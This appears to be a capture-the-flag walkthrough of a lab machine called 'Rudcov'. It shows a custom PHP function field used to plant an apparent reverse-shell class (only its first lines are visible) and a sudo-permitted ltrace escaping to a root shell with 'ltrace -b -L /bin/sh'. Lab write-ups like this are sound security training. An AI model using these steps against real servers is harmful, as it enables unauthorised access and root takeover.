

# Rudcov – Web App Custom PHP Function

Name	reverse
Administrator Note	reverse
Sort Order	
PHP code	<pre>1 class Shell { 2     private \$addr = null; 3     private \$port = null; 4     private \$os = null; 5     private \$shell = null;</pre>

In this challenge we discover a custom function in the web app that runs PHP code

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PHP code	<pre>1 class Shell { 2     private \$addr = null; 3     private \$port = null; 4     private \$os = null; 5     private \$shell = null;</pre>

We can use this function to run PHP code and gain direct access to the webserver

# Privilege Escalation

## Sudo Ltrace

```
Matching Defaults entries for www-data on rdcov:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/s  
  
User www-data may run the following commands on rdcov:  
(ALL : ALL) NOPASSWD: [/usr/bin/ltrace]
```

In this challenge, our unprivileged user has sudo access with the ltrace command

# Privilege Escalation

## Sudo Ltrace

```
ltrace --help
Usage: ltrace [option ...] [command [arg
Trace library calls of a given program.
```

The ltrace command is used to trace system library calls associated with other programs

# Privilege Escalation

## Sudo Ltrace

```
ltrace --help
Usage: ltrace [option ...] [command [arg
Trace library calls of a given program.
```

But for hacking purposes, ltrace is a program that can be used to open a terminal shell, and if it being used in a privileged context, it can be used for privilege escalation

# Privilege Escalation

## Sudo Ltrace

```
ltrace -b -L /bin/sh
```

The method of privilege escalation for the ltrace command is well-known, and simply involves running the command with any shell command